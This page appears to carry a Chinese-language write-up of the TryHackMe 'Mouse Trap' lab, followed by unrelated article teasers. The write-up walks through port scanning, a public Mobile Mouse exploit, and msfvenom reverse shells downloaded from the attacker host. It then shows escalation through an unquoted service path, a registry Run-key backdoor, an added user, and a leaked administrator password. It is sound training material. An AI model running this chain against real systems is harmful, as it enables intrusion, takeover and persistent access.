当前位置: 首页 > news >正文

THM:Mouse Trap[WriteUP]

目录

连接至THM服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取扫描结果中的端口号

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机UDP常用端口进行开放扫描

使用smbmap尝试枚举靶机SMB共享

使用smbclient尝试列出靶机SMB共享

使用curl访问靶机9099端口

边界突破

通过Google对9099端口服务以及漏洞进行搜索

通过Github对该应用进行PoC、EXP搜索

特权提升

查看该用户可用特权

查看该系统中存在的用户

查看该服务根目录ACL

查看靶机中所有已安装的服务

查看靶机系统信息

查看靶机Mobile Mouse服务目录构成

通过查询Windows中的进程管理器Process函数语法可得

根据上述规则攻击机本地侧再次生成一个Payload

操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下

本地侧新开nc开始监听

手动启动靶机中的Mobile Mouse Service服务

使用evil-winrm可以直接通过该凭证进行登录

重新生成Payload用于后渗透持久化

靶机将Payload下载到C:\Windows\Temp目录下


连接至THM服务器并启动靶机

靶机IP:10.10.206.239

分配IP:10.11.120.102


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.206.239 -r 1-65535 --ulimit 5000 > res

提取扫描结果中的端口号
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p$ports -sCV 10.10.206.239

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p$ports --script=vuln -O 10.10.206.239

使用nmap对靶机UDP常用端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.206.239

使用smbmap尝试枚举靶机SMB共享

smbmap -H 10.10.206.239

使用smbclient尝试列出靶机SMB共享
smbclient -L \\10.10.206.239

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.206.239
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED

使用curl访问靶机9099端口

curl -v http://10.10.206.239:9099

  • 由输出可知,该端口托管应用或服务:MOUSETRAP

边界突破

通过Google对9099端口服务以及漏洞进行搜索

  • 经过一段时间搜索可知,该端口默认托管服务为:Mobile Mouse
通过Github对该应用进行PoC、EXP搜索

  • 通过命令直接克隆Github上的EXP
git clone https://github.com/blue0x1/mobilemouse-exploit.git
  • 通过msfvenom生成反弹Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=4444 -f exe > shell.exe
  • 本地侧nc开始监听
rlwrap -cAr nc -lvnp 4444
  • 执行EXP脚本,本地侧nc收到回显
python CVE-2023-31902-v2.py --target 10.10.51.172 --lhost 10.11.120.102 --file shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.51.172] 49803
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
mousetrap\purpletom

  • 查找user.txt位置并查看其内容

C:\Windows\system32>cd c:\
cd c:\

c:\>dir /s user.txt
dir /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of c:\Users\purpletom

07/04/2024  01:58 PM                22 user.txt
               1 File(s)             22 byte

C:\>type c:\Users\purpletom\user.txt
type c:\Users\purpletom\user.txt
THM{XXXXX_XXXXX_X_XXX}


特权提升

查看该用户可用特权

whoami /priv

查看该系统中存在的用户

net user

  • 切换到Powershell
powershell

C:\Users\purpletom\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

  • 从攻击机中将SharpUp进行下载
iwr http://10.11.120.102:8080/SharpUp.exe -O SharpUp.exe

  • 运行SharpUp对当前用户进行特权审计

  • 由SharpUp审计结果可见`Mobile Mouse Service`服务绝对路径存在空格而且未使用双引号

查看该服务根目录ACL

icacls "C:\Program Files (x86)\Mobile Mouse"

  • 由输出可见,作为用户对`Mobile Mouse`具有读、、执行权限

查看靶机中所有已安装的服务

wmic service list brief
  • 可以找到`Mobile Mouse Service`服务全名,并且当前状态是Stopped

查看靶机系统信息

systeminfo

查看靶机Mobile Mouse服务目录构成

  • 由dir命令输出结果可见,在该服务目录下存在两个包含空格的文件或目录
通过查询Windows中的进程管理器Process函数语法可得
BOOL CreateProcessA(LPCSTR                lpApplicationName,LPSTR                 lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL                  bInheritHandles,DWORD                 dwCreationFlags,LPVOID                lpEnvironment,LPCSTR                lpCurrentDirectory,LPSTARTUPINFOA        lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
);
  • 语法中lpApplicationName是服务启动时会被执行的模块
  • 该参数的文件名称查询规则即当遇到包含空格的文件如:`Test ABC.exe`时
  • 会先尝试解释`Test.exe`,如果未找到`Test.exe`则才会继续查找`Test ABC.exe`

根据上述规则攻击机本地侧再次生成一个Payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'       
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
curl -O http://10.11.120.102:8080/Mouse.exe

本地侧新开nc开始监听

rlwrap -cAr nc -lvnp 1426
手动启动靶机中的Mobile Mouse Service服务
net start "Mobile Mouse Service"
  • 本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.100.171] 49958
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

  • 在C:\Users\Administrator\Desktop目录下找到root.txt

  • 查看rdp_credentials.txt内容可获得Administrator用户凭证
gc rdp_credentials.txt

PS C:\Users\Administrator\Desktop> gc rdp_credentials.txt
gc rdp_credentials.txt
Username: administrator
Password: d0ntTRY2m3ssw1thj3rry!!!

使用evil-winrm可以直接通过该凭证进行登录
evil-winrm -i 10.10.100.171 -u 'Administrator' -p 'd0ntTRY2m3ssw1thj3rry!!!'

重新生成Payload用于后渗透持久化
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

靶机将Payload下载到C:\Windows\Temp目录下
wget http://10.11.120.102:8080/shell.exe -o shell.exe

  • 通过system权限执行以下命令,当用户登陆系统时自动执行C:\Windows\Temp\shell.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
  • 为满足题目需要,这里新建一个terry用户
net user terry ABC123abc /add
  • 运行C:\Users\Administrator\Desktop目录下的checker.exe获取flag

PS C:\Users\Administrator\Desktop> .\checker.exe
.\checker.exe
Flag: THM{XXXXX_XXXXXXX_#XXXX#}

相关文章:

THM:Mouse Trap[WriteUP]

目录 连接至THM服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 提取扫描结果中的端口号 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机UDP常用端口进行开放扫描 使用smbmap尝试枚举靶机…...

Nginx详细安装配置过程

目录 1.nginx环境准备 1.1 在配置好yum源之后,安装如下的编译工具 1.2 安装nginx所需的依赖库 1.3 关闭防火墙,selinux,并确保网络正常 2.nginx的编译安装 2.1从nginx官网复制下载链接,wget 下载 2.2? 解压nginx源代码 2…...

目标检测入门指南:从原理到实践

目录 1. 数据准备与预处理 2. 模型架构设计 2.1 特征提取网络原理 2.2 区域提议网络(RPN)原理 2.3 特征金字塔网络(FPN)原理 2.4 边界框回归原理 2.5 非极大值抑制(NMS)原理 2.6 多尺度训练与测试原理 2.7 损失函数设计原理 3. 损失函数设计 4. 训练策略优化 5. 后…...

2024 高通边缘智能创新应用大赛智能边缘计算赛道冠军方案解读

2024 高通边缘智能创新应用大赛聚焦不同细分领域的边缘智能创新应用落地,共设立三大热门领域赛道——工业智能质检赛道、智能边缘计算赛道和智能机器人赛道。本文为智能边缘计算赛道冠军项目《端侧大模型智能翻译机》的开发思路与成果分享。 赛题要求 聚焦边缘智能…...

tcpdump 网络数据包分析工具

简介 用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的…...

鱼眼相机模型与去畸变实现

1.坐标系说明 鱼眼相机模型涉及到世界坐标系、相机坐标系、图像坐标系、像素坐标系之间的转换关系。对于分析鱼眼相机模型,假定世界坐标系下的坐标点,经过外参矩阵的变换转到相机坐标系,相机坐标再经过内参转换到像素坐标,具体如下 进一步进…...

【Unity功能集】TextureShop纹理工坊(七)魔棒工具

项目源码:在终章发布 索引 魔棒工具PS魔棒工具魔棒工具功能点提炼TextureShop魔棒工具根据色差选取非连续区域中间镂空边框的流动虚线取消选区魔棒工具 魔棒工具,也既是通过颜色色差,在图像上选出自定义选区的工具(了解PS魔棒工具)。 PS魔棒工具 我们先来看看PS中的魔棒…...

ASP.NET Core Web API Hangfire

ASP.NET Core Web API Hangfire 前言一、安装二、相关代码1.代码片段2.代码片段3.运行效果 三、测试代码1.即发即弃作业2.延迟作业3.重复作业4.延续作业5.页面调度作业 前言 👨‍💻👨‍🌾📝记录学习成果,以…...

E-commerce .net+React(一)——项目初始化

文章目录 项目地址一、创建.Net环境1.1环境配置1.1.1 使用vscode创建webapi1.1.2 Clean architecture结构创建1.1.3 将创建好结构的项目添加到git里1.1.4 EF Core配置1. 在infrastructure里安装EF所需环境2. 创建Product数据模型3. 创建EF Core的DbContext 数据库上下文4. 创建…...

算法每日双题精讲 —— 滑动窗口(水果成篮,找到字符串中所有字母异位词)

🌟快来参与讨论💬,点赞👍、收藏⭐、分享📤,共创活力社区。 🌟 别再犹豫了!快来订阅我们的算法每日双题精讲专栏,一起踏上算法学习的精彩之旅吧!💪…...

C++ 设计模式:享元模式(Flyweight Pattern)

链接:C 设计模式 链接:C 设计模式 - 单例模式 享元模式(Flyweight Pattern)是一种结构型设计模式,它通过共享尽可能多的相同对象来减少内存使用和提高性能。享元模式适用于大量细粒度对象的场景,这些对象之…...

Docker+Portainer 离线安装

1. Docker安装 步骤一:官网下载 docker 安装包 步骤二:解压安装包; tar -zxvf docker-24.0.6.tgz 步骤三:将解压之后的docker文件移到 /usr/bin目录下; cp docker/* /usr/bin/ 步骤四:将docker注册成系统服务; vim /etc/sy…...

Linux第100步_Linux之设置LCD作为终端控制台和LCD背光调节

KMS是Kemmel Mode Setting的缩写,内核显示模式设置。它主要负责显示的控制,包括屏幕分辨率、屏幕刷新率和颜色深度等等。 CRTC是指显示控制器,在DRM里有多个显存,通过操作CRTC来控制要显示那个显存。 KMS包含了FB框架。DRM驱动默…...

Chapter09 国际化i18n 和 数据校验:Validation

文章目录 1 Java国际化2 Spring6国际化3 使用Spring6国际化4 数据校验:Validation实验一:通过Validator接口实现实验二:Bean Validation注解实现实验三:基于方法实现校验实验四:实现自定义校验 1 Java国际化 示例&…...

活动预告 | Microsoft 安全在线技术公开课:通过扩展检测和响应抵御威胁

课程介绍 通过 Microsoft Learn 免费参加 Microsoft 安全在线技术公开课,掌握创造新机遇所需的技能,加快对 Microsoft Cloud 技术的了解。参加我们举办的“通过扩展检测和响应抵御威胁”技术公开课活动,了解如何更好地在 Microsoft 365 Defen…...

Unresolved plugin: ‘org.apache.maven.plugins:maven-site-plugin:3.12.1‘

问题 使用idea 社区办加载项目提示下面问题: Unresolved plugin: org.apache.maven.plugins:maven-site-plugin:3.12.1 问题解决 maven插件地址: https://maven.apache.org/plugins/maven-dependency-plugin/plugins.html Maven 中央仓库地址&#…...

5个开源RAG框架对比

还在为RAG应用开发头疼吗?别急,今天给大家推荐五款完全开源免费的RAG框架,覆盖自动优化、多模态处理、本地部署、生产环境支持等多种场景,助你轻松搞定RAG开发!👇 1. AutoRAG:自动优化&#xff…...

活动预告 | Microsoft Power Platform 在线技术公开课:实现业务流程自动化

课程介绍 参加“Microsoft Power Platform 在线技术公开课:实现业务流程自动化”活动,了解如何更高效地开展业务。参加我们举办的本次免费培训活动,了解如何借助 Microsoft AI Builder 和 Power Automate 优化工作流。结合使用这些工具可以帮…...

【分布式文件存储系统Minio】2024.12保姆级教程

文章目录 1.介绍1.分布式文件系统2.基本概念 2.环境搭建1.访问网址2.账号密码都是minioadmin3.创建一个桶4.**Docker安装miniomc突破7天限制**1.拉取镜像2.运行容器3.进行配置1.格式2.具体配置 4.查看桶5.给桶开放权限 3.搭建minio模块1.创建一个oss模块1.在sun-common下创建2.…...

解决ssh和git秘钥认证失败问题

已正确上传公钥到远程服务器,但是本地的连接认证还是使用默认秘钥文件名id_rsa或者默认用户名,导致了认证失败,总结了以下解决办法: 1、ssh秘钥认证 远程登录的时候可能ssh客户端默认使用id_rsa文件名秘钥,但是之前生…...

TDengine 快速体验(Docker 镜像方式)

简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...

应用升级/灾备测试时使用guarantee 闪回点迅速回退

1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...

盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来

一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...

vscode(仍待补充)

写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...

DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI

前一阵子在百度 AI 开发者大会上,看到基于小智 AI DIY 玩具的演示,感觉有点意思,想着自己也来试试。 如果只是想烧录现成的固件,乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外,还提供了基于网页版的 ESP LA…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表

##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

Go 并发编程基础:通道(Channel)的使用

在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

tomcat入门

1 tomcat 是什么 apache开发的web服务器可以为java web程序提供运行环境tomcat是一款高效,稳定,易于使用的web服务器tomcathttp服务器Servlet服务器 2 tomcat 目录介绍 -bin #存放tomcat的脚本 -conf #存放tomcat的配置文件 ---catalina.policy #to…...